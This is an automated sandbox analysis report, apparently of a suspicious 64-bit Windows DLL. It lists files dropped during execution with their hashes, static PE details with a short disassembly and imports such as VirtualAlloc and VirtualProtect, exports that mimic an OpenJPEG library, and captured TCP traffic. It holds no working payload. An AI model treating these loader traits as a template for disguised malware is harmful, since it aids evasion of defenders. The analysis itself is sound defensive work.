Preview:	.PNG........IHDR................a....pHYs..........+.....QIDATx.cy.(.....B.^.V......6..OD9... .b..1.o.c.y....v.+..sK..>N.............W.... .........aL....Z..<I.`..ek.~.<.W.......`..O..~C. .....%. .3..1..~....h(...[...}...u.J......&=..?.....aa.....r...;..4q..3....[.....q...];.^^se`...K..6..UK...X..)..k;...X.U..2....0......f.t.......p.....\|]..n;H...P ..va....'..N..............!.....).&O...Fqo.%.......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\de-ch[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	79097
Entropy (8bit):	5.337866393801766
Encrypted:	false
SSDEEP:	768:olAy9XsiItnuy5zIux1whjCU7kJB1C54AYtiQzNEJEWlCgP5HVN/QZYUmftKCB:olLEJxa4CmdiuWlDxHga7B
MD5:	408DDD452219F77E388108945DE7D0FE
SHA1:	C34BAE1E2EBD5867CB735A5C9573E08C4787E8E7
SHA-256:	197C124AD4B7DD42D6628B9BEFD54226CCDCD631ECFAEE6FB857195835F3B385
SHA-512:	17B4CF649A4EAE86A6A38ABA535CAF0AEFB318D06765729053FDE4CD2EFEE7C13097286D0B8595435D0EB62EF09182A9A10CFEE2E71B72B74A6566A2697EAB1B
Malicious:	false
Reputation:	unknown
Preview:	{"DomainData":{"pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","cctId":"55a804ab-e5c6-4b97-9319-86263d365d28","MainText":"Ihre Privatsph.re","MainInfoText":"Wir verarbeiten Ihre Daten, um Inhalte oder Anzeigen bereitzustellen, und analysieren die Bereitstellung solcher Inhalte oder Anzeigen, um Erkenntnisse .ber unsere Website zu gewinnen. Wir geben diese Informationen auf der Grundlage einer Einwilligung und eines berechtigten Interesses an unsere Partner weiter. Sie k.nnen Ihr Recht auf Einwilligung oder Widerspruch gegen ein berechtigtes Interesse aus.ben, und zwar auf der Grundlage eines der folgenden bestimmten Zwecke oder auf Partnerebene .ber den Link unter jedem Zweck. Diese Entscheidungen werden an unsere Anbieter, die am Transparency and Consent Framework teilnehmen, signalisiert.","AboutText":"Weitere Informationen","AboutCookiesText":"Ihre Privatsph.re","ConfirmText":"Alle zulassen","AllowAll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\e151e5[1].gif Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.122191481864228
Encrypted:	false
SSDEEP:	3:CUTxls/1h/:7lU/
MD5:	F8614595FBA50D96389708A4135776E4
SHA1:	D456164972B508172CEE9D1CC06D1EA35CA15C21
SHA-256:	7122DE322879A654121EA250AEAC94BD9993F914909F786C98988ADBD0A25D5D
SHA-512:	299A7712B27C726C681E42A8246F8116205133DBE15D549F8419049DF3FCFDAB143E9A29212A2615F73E31A1EF34D1F6CE0EC093ECEAD037083FA40A075819D2
Malicious:	false
Reputation:	unknown
Preview:	GIF89a.............!.......,...........D..;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\favicon[2].ico Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 16 colors, 32x32, 16 colors
Category:	dropped
Size (bytes):	1078
Entropy (8bit):	1.240940859118772
Encrypted:	false
SSDEEP:	3:etFEh9HYflvlNl/AXll1pe/WNN00000000000000000000000000000000000001:QNtY6+lKY6
MD5:	4123CE1E1732F202F60292941FF1487D
SHA1:	9F12B11BDE582DAE37CE8C160537D919C561C464
SHA-256:	D961B08E4321250926DE6F79087594975FE20AD1518DE8F91EB711AF5D1A6EF8
SHA-512:	11B24C2E622C408E4774FAE120B719A21A0B2ACFA53230126C35AD6CA57D33D4DE79CBE11D296CFBDE9613CAA03D66B721BD20CF4EE030CF75F5A1FD8A286DA9
Malicious:	false
Reputation:	unknown
Preview:	..............(...&... ..........N...(....... ...............................................................................................................................................................................................................................................................................................(... ...@.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\iab2Data[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	242382
Entropy (8bit):	5.1486574437549235
Encrypted:	false
SSDEEP:	768:l3JqIW6A3pZcOkv+prD5bxLkjO68KQHamIT4Ff5+wbUk6syZ7TMwz:l3JqINA3kR4D5bxLk78KsIkfZ6hBz
MD5:	D76FFE379391B1C7EE0773A842843B7E
SHA1:	772ED93B31A368AE8548D22E72DDE24BB6E3855C
SHA-256:	D0EB78606C49FCD41E2032EC6CC6A985041587AAEE3AE15B6D3B693A924F08F2
SHA-512:	23E7888E069D05812710BF56CC76805A4E836B88F7493EC6F669F72A55D5D85AD86AD608650E708FA1861BC78A139616322D34962FD6BE0D64E0BEA0107BF4F4
Malicious:	false
Reputation:	unknown
Preview:	{"gvlSpecificationVersion":2,"tcfPolicyVersion":2,"features":{"1":{"descriptionLegal":"Vendors can:\n* Combine data obtained offline with data collected online in support of one or more Purposes or Special Purposes.","id":1,"name":"Match and combine offline data sources","description":"Data from offline data sources can be combined with your online activity in support of one or more purposes"},"2":{"descriptionLegal":"Vendors can:\n* Deterministically determine that two or more devices belong to the same user or household\n* Probabilistically determine that two or more devices belong to the same user or household\n* Actively scan device characteristics for identification for probabilistic identification if users have allowed vendors to actively scan device characteristics for identification (Special Feature 2)","id":2,"name":"Link different devices","description":"Different devices can be determined as belonging to you or your household in support of one or more of purposes."},"3":{"de

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\location[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.685293041881485
Encrypted:	false
SSDEEP:	3:LUfGC48HlHJ2R4OE9HQnpK9fQ8I5CMnRMRU8x4RiiP22/90+apWyRHfHO:nCf4R5ElWpKWjvRMmhLP2saVO
MD5:	C4F67A4EFC37372559CD375AA74454A3
SHA1:	2B7303240D7CBEF2B7B9F3D22D306CC04CBFBE56
SHA-256:	C72856B40493B0C4A9FC25F80A10DFBF268B23B30A07D18AF4783017F54165DE
SHA-512:	1EE4D2C1ED8044128DCDCDB97DC8680886AD0EC06C856F2449B67A6B0B9D7DE0A5EA2BBA54EB405AB129DD0247E605B68DC11CEB6A074E6CF088A73948AF2481
Malicious:	false
Reputation:	unknown
Preview:	jsonFeed({"country":"CH","state":"ZH","stateName":"Zurich","zipcode":"8152","timezone":"Europe/Zurich","latitude":"47.43000","longitude":"8.57180","city":"Zurich","continent":"EU"});

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\otPcCenter[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	47714
Entropy (8bit):	5.565687858735718
Encrypted:	false
SSDEEP:	768:4zg/3JXE9ZSqN76pW1lzZzic18+JHoQthI:4zCBceUdZzic18+5xI
MD5:	8EC5B25A65A667DB4AC3872793B7ACD2
SHA1:	6B67117F21B0EF4B08FE81EF482B888396BBB805
SHA-256:	F6744A2452B9B3C019786704163C9E6B3C04F3677A7251751AEFD4E6A556B988
SHA-512:	1EDC5702B55E20F5257B23BCFCC5728C4FD0DEB194D4AADA577EE0A6254F3A99B6D1AEDAAAC7064841BDE5EE8164578CC98F63B188C1A284E81594BCC0F20868
Malicious:	false
Reputation:	unknown
Preview:	.. {.. "name": "otPcCenter",.. "html": "PGRpdiBpZD0ib25ldHJ1c3QtcGMtc2RrIiBjbGFzcz0ib3RQY0NlbnRlciBvdC1oaWRlIG90LWZhZGUtaW4iIGFyaWEtbW9kYWw9InRydWUiIHJvbGU9ImRpYWxvZyIgYXJpYS1sYWJlbGxlZGJ5PSJvdC1wYy10aXRsZSI+PCEtLSBDbG9zZSBCdXR0b24gLS0+PGRpdiBjbGFzcz0ib3QtcGMtaGVhZGVyIj48IS0tIExvZ28gVGFnIC0tPjxkaXYgY2xhc3M9Im90LXBjLWxvZ28iIHJvbGU9ImltZyIgYXJpYS1sYWJlbD0iQ29tcGFueSBMb2dvIj48L2Rpdj48YnV0dG9uIGlkPSJjbG9zZS1wYy1idG4taGFuZGxlciIgY2xhc3M9Im90LWNsb3NlLWljb24iIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj48L2Rpdj48IS0tIENsb3NlIEJ1dHRvbiAtLT48ZGl2IGlkPSJvdC1wYy1jb250ZW50IiBjbGFzcz0ib3QtcGMtc2Nyb2xsYmFyIj48aDMgaWQ9Im90LXBjLXRpdGxlIj5Zb3VyIFByaXZhY3k8L2gzPjxkaXYgaWQ9Im90LXBjLWRlc2MiPjwvZGl2PjxidXR0b24gaWQ9ImFjY2VwdC1yZWNvbW1lbmRlZC1idG4taGFuZGxlciI+QWxsb3cgYWxsPC9idXR0b24+PHNlY3Rpb24gY2xhc3M9Im90LXNkay1yb3cgb3QtY2F0LWdycCI+PGgzIGlkPSJvdC1jYXRlZ29yeS10aXRsZSI+TWFuYWdlIENvb2tpZSBQcmVmZXJlbmNlczwvaDM+PGRpdiBjbGFzcz0ib3QtcGxpLWhkciI+PHNwYW4gY2xhc3M9Im90LWxpLXRpdGxlIj5Db25zZW50PC9

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\otSDKStub[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	16853
Entropy (8bit):	5.393243893610489
Encrypted:	false
SSDEEP:	192:2Qp/7PwSgaXIXbci91iEBadZH8fKR9OcmIQMYOYS7uzdwnBZv7iIHXF2FsT:FRr14FLMdZH8f4wOjawnTvuIHVh
MD5:	82566994A83436F3BDD00843109068A7
SHA1:	6D28B53651DA278FAE9CFBCEE1B93506A4BCD4A4
SHA-256:	450CFBC8F3F760485FBF12B16C2E4E1E9617F5A22354337968DD661D11FFAD1D
SHA-512:	1513DCF79F9CD8318109BDFD8BE1AEA4D2AEB4B9C869DAFF135173CC1C4C552C4C50C494088B0CA04B6FB6C208AA323BFE89E9B9DED57083F0E8954970EF8F22
Malicious:	false
Reputation:	unknown
Preview:	var OneTrustStub=function(e){"use strict";var t,o,n,i,a,r,s,l,c,p,u,d,m,h,f,g,b,A,C,v,y,I,S,w,T,L,R,B,D,G,E,P,_,U,k,O,F,V,x,N,H,M,j,K=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.IABCookieValue="",this.oneTrustIABCookieName="eupubconsent",this.oneTrustIsIABCrossConsentEnableParam="isIABGlobal",this.isStubReady=!0,this.geolocationCookiesParam="geolocation",this.EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU","MT","NL","AT","PL","PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainId="[[NewDomainId]]",this.userLocation={country:"",state:""}};(o=t=t\|\|{})[o.Unknown=0]="Unknown",o[o.BannerCloseButton=1]="BannerCloseButton",o[o.ConfirmChoiceButton

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\otTCF-ie[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	102879
Entropy (8bit):	5.311489377663803
Encrypted:	false
SSDEEP:	768:ONkWT0m7r8N1qpPVsjvB6z4Yj3RCjnugKtLEdT8xJORONTMC5GkkJ0XcJGk58:8kunecpuj5QRCjnrKxJg0TMC5ZW8
MD5:	52F29FAC6C1D2B0BAC8FE5D0AA2F7A15
SHA1:	D66C777DA4B6D1FEE86180B2B45A3954AE7E0AED
SHA-256:	E497A9E7A9620236A9A67F77D2CDA1CC9615F508A392ECCA53F63D2C8283DC0E
SHA-512:	DF33C49B063AEFD719B47F9335A4A7CE38FA391B2ADF5ACFD0C3FE891A5D0ADDF1C3295E6FF44EE08E729F96E0D526FFD773DC272E57C3B247696B79EE1168BA
Malicious:	false
Reputation:	unknown
Preview:	!function(){"use strict";var c="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function e(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}function t(e,t){return e(t={exports:{}},t.exports),t.exports}function n(e){return e&&e.Math==Math&&e}function p(e){try{return!!e()}catch(e){return!0}}function E(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}function o(e){return w.call(e).slice(8,-1)}function u(e){if(null==e)throw TypeError("Can't call method on "+e);return e}function l(e){return I(u(e))}function f(e){return"object"==typeof e?null!==e:"function"==typeof e}function i(e,t){if(!f(e))return e;var n,r;if(t&&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;if("function"==typeof(n=e.valueOf)&&!f(r=n.call(e)))return r;if(!t&&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;throw TypeError("Can't convert object to primitive value")}function y(e,t){retur

C:\Users\user\AppData\Local\Temp\~DF7B5EEE81501E0ABB.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12965
Entropy (8bit):	0.4161296674067222
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9lolOYF9lolOg9lWlOQisqRkPsonU+UiFUz:kBqoIkrkNkQisHsqU+UiFUz
MD5:	51C3A6DB8D7128188F9063AAA684D32D
SHA1:	DB4AA073F0B654C77B14FDBCF360948CD9E0B42B
SHA-256:	238147BBD337F2DAB3EC33626C9B957B1F35CBE34847E35673489C808AEC0B0D
SHA-512:	FE0E27E5435762B0CA911651E9BC2B2E99512D43CCF75D7E008BCAF35879975DA648DD4DD0FA9635CF5C519A39339210B0FD6A0ADA80FF4CD959BA6CD28CE7D9
Malicious:	false
Reputation:	unknown
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFCAFD26CF17E8465E.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	197390
Entropy (8bit):	3.1352145714089596
Encrypted:	false
SSDEEP:	3072:aZ/2Bfcdmu5kgTzGttZ/2Bfc+mu5kgTzGt:T2
MD5:	470E3B9E42B438C25E5EB74EAE723A21
SHA1:	C967397526F564310534561C92341F916C7A1564
SHA-256:	96C3D40EFBFBBBF3EF3AD29DAA882157F628BB118A1052D3745EB9F601101A2D
SHA-512:	96DCABCD5B7A87B0373E7A78CA2D368B74648324BF7AC7D99667061DE0F3BF049F2A5B707024A2C36F163DB00A584B790EED3DF5355E391CEBE5F801916DDB35
Malicious:	false
Reputation:	unknown
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	5.9798781535336065
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	TWsmIoYqC6.dll
File size:	1318026
MD5:	fd6992463689acf855ef55d06a01061a
SHA1:	d8b3968a08b12e8ce4b1eec04eb5c86ad910145c
SHA256:	8b971c2c4c9a020eb274c36db20bc0e1b203a7909d63f48f99bef5594110929f
SHA512:	e41bbccea6c235771ebddfdcbc4de88f9179bca1c9b31d8d037e7d4a097b83714f14c1ec29d3eee3f3c8183ff263611e368ae7cdbb5955997464e5a74b4afbb5
SSDEEP:	24576:TqSPG9Jg6TYbmGBtf9efojVpVwKYs1tRCS7SPFL3EOGTWqG5QVEzAJ24GOy2ioLi:TyWbmGBtf9efojVpVwKYs1tR/7SPFL3H
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R...V...R...Q...R...W.\|.R...S...R...S...R...V...R...Q...R...W...R.x.V...R.h.W...R...V...R.h.V...R.h.R...R.h.P...R

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x1800d7cec
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x180000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Time Stamp:	0x6151B21F [Mon Sep 27 11:59:27 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	126feacb5b6732ad1a4ed77f47cf4f6d

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007F48F0EE9C87h
call 00007F48F0EE9CECh
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007F48F0EE9B14h
int3
int3
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F48F0EE93FBh
dec eax
lea edx, dword ptr [0003867Fh]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F48F0EEABBAh
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F48F0E13DABh
dec eax
lea edx, dword ptr [0003854Fh]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F48F0EEAB9Ah
int3
jmp 00007F48F0EEE43Ch
int3
int3
int3
dec eax
mov dword ptr [esp+20h], ebx
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [000645C0h]
dec eax
mov ebx, 2DDFA232h
cdq
sub eax, dword ptr [eax]
add byte ptr [eax+3Bh], cl
ret
jne 00007F48F0EE9CF6h
dec eax
and dword ptr [ebp+18h], 00000000h
dec eax
lea ecx, dword ptr [ebp+18h]
call dword ptr [000222DAh]
dec eax
mov eax, dword ptr [ebp+18h]
dec eax
mov dword ptr [ebp+10h], eax
call dword ptr [000222C4h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1104f0	0x73c	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x110c2c	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x13f000	0x5478	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x146000	0x9bc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x10b600	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x10b620	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xfa000	0x280	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xf8f20	0xf9000	False	0.295246415349	data	5.63118794524	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xfa000	0x174b0	0x17600	False	0.483299214572	data	5.581393526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x112000	0x2c110	0x2b000	False	0.397074854651	data	5.26932882236	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.pdata	0x13f000	0x5478	0x5600	False	0.513444767442	data	5.82112562154	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x145000	0xf4	0x200	False	0.31640625	data	2.447376104	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x146000	0x9bc	0xa00	False	0.532421875	data	5.39129310089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

VirtualAlloc, VirtualProtect, GetProcAddress, LoadLibraryA, QueryPerformanceCounter, QueryPerformanceFrequency, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, SetEndOfFile, RtlPcToFileHeader, RaiseException, RtlUnwindEx, InterlockedFlushSList, GetLastError, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetStdHandle, GetFileType, GetModuleFileNameW, WriteConsoleW, ReadFile, HeapFree, HeapAlloc, HeapReAlloc, CompareStringW, LCMapStringW, FlushFileBuffers, WriteFile, GetConsoleOutputCP, GetConsoleMode, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, OutputDebugStringW, CloseHandle, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, GetProcessHeap, SetStdHandle, GetStringTypeW, CreateFileW, HeapSize

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x1800010d0
DllUnregisterServer	2	0x180001160
PauseW	3	0x1800011f0
ResumeServer	4	0x180001280
ResumeW	5	0x180001310
StartServer	6	0x1800013a0
StartW	7	0x180001430
StopServer	8	0x1800014c0
SuspendServer	9	0x180001550
opj_codec_set_threads	10	0x180089c10
opj_create_compress	11	0x18008a210
opj_create_decompress	12	0x180089710
opj_decode	13	0x180089e50
opj_decode_tile_data	14	0x18008a170
opj_destroy_codec	15	0x180089a10
opj_destroy_cstr_index	16	0x18008a910
opj_destroy_cstr_info	17	0x18008a7e0
opj_dump_codec	18	0x18008a840
opj_encode	19	0x18008a760
opj_encoder_set_extra_options	20	0x18008a600
opj_end_compress	21	0x18008a6e0
opj_end_decompress	22	0x180089a80
opj_get_cstr_index	23	0x18008a8d0
opj_get_cstr_info	24	0x18008a890
opj_get_decoded_tile	25	0x180089ed0
opj_get_num_cpus	26	0x1800cecc0
opj_has_thread_support	27	0x1800cecb0
opj_image_create	28	0x1800634b0
opj_image_data_alloc	29	0x180089450
opj_image_data_free	30	0x180089480
opj_image_destroy	31	0x180063730
opj_image_tile_create	32	0x1800637f0
opj_read_header	33	0x180089c60
opj_read_tile_header	34	0x18008a050
opj_set_MCT	35	0x18008a950
opj_set_decode_area	36	0x180089dc0
opj_set_decoded_components	37	0x180089d00
opj_set_decoded_resolution_factor	38	0x180089f60
opj_set_default_decoder_parameters	39	0x180089b00
opj_set_default_encoder_parameters	40	0x18008a420
opj_set_error_handler	41	0x1800896b0
opj_set_info_handler	42	0x1800895f0
opj_set_warning_handler	43	0x180089650
opj_setup_decoder	44	0x180089b80
opj_setup_encoder	45	0x18008a580
opj_start_compress	46	0x18008a660
opj_stream_create	47	0x1800562e0
opj_stream_create_default_file_stream	48	0x1800894a0
opj_stream_create_file_stream	49	0x1800894d0
opj_stream_default_create	50	0x1800562b0
opj_stream_destroy	51	0x180056430
opj_stream_set_read_function	52	0x1800564a0
opj_stream_set_seek_function	53	0x180056580
opj_stream_set_skip_function	54	0x180056540
opj_stream_set_user_data	55	0x1800565c0
opj_stream_set_user_data_length	56	0x180056610
opj_stream_set_write_function	57	0x1800564f0
opj_version	58	0x180089440
opj_write_tile	59	0x180089fb0

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 28, 2021 09:52:41.170973063 CEST	49774	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.171003103 CEST	49775	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.171021938 CEST	443	49774	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.171042919 CEST	443	49775	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.171137094 CEST	49774	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.172060013 CEST	49775	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.172084093 CEST	49775	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.172091961 CEST	443	49775	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.205436945 CEST	49774	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.205470085 CEST	443	49774	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.222388983 CEST	443	49775	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.222497940 CEST	49775	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.235620975 CEST	49775	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.235651970 CEST	443	49775	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.236031055 CEST	443	49775	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.236272097 CEST	49775	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.269099951 CEST	49775	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.269443989 CEST	443	49774	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.269562006 CEST	49774	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.279465914 CEST	49774	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.279659033 CEST	443	49774	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.279932022 CEST	443	49774	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.280716896 CEST	49774	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.311148882 CEST	443	49775	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.315701962 CEST	443	49775	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.315809011 CEST	49775	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.315819979 CEST	443	49775	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.316967964 CEST	49775	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.317653894 CEST	49775	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:41.317673922 CEST	443	49775	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:41.633240938 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.633280039 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.633353949 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.633624077 CEST	49789	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.633667946 CEST	443	49789	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.634113073 CEST	49789	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.634686947 CEST	49789	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.634706974 CEST	443	49789	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.634880066 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.634902954 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.680885077 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.680982113 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.691193104 CEST	443	49789	172.67.70.134	192.168.2.3
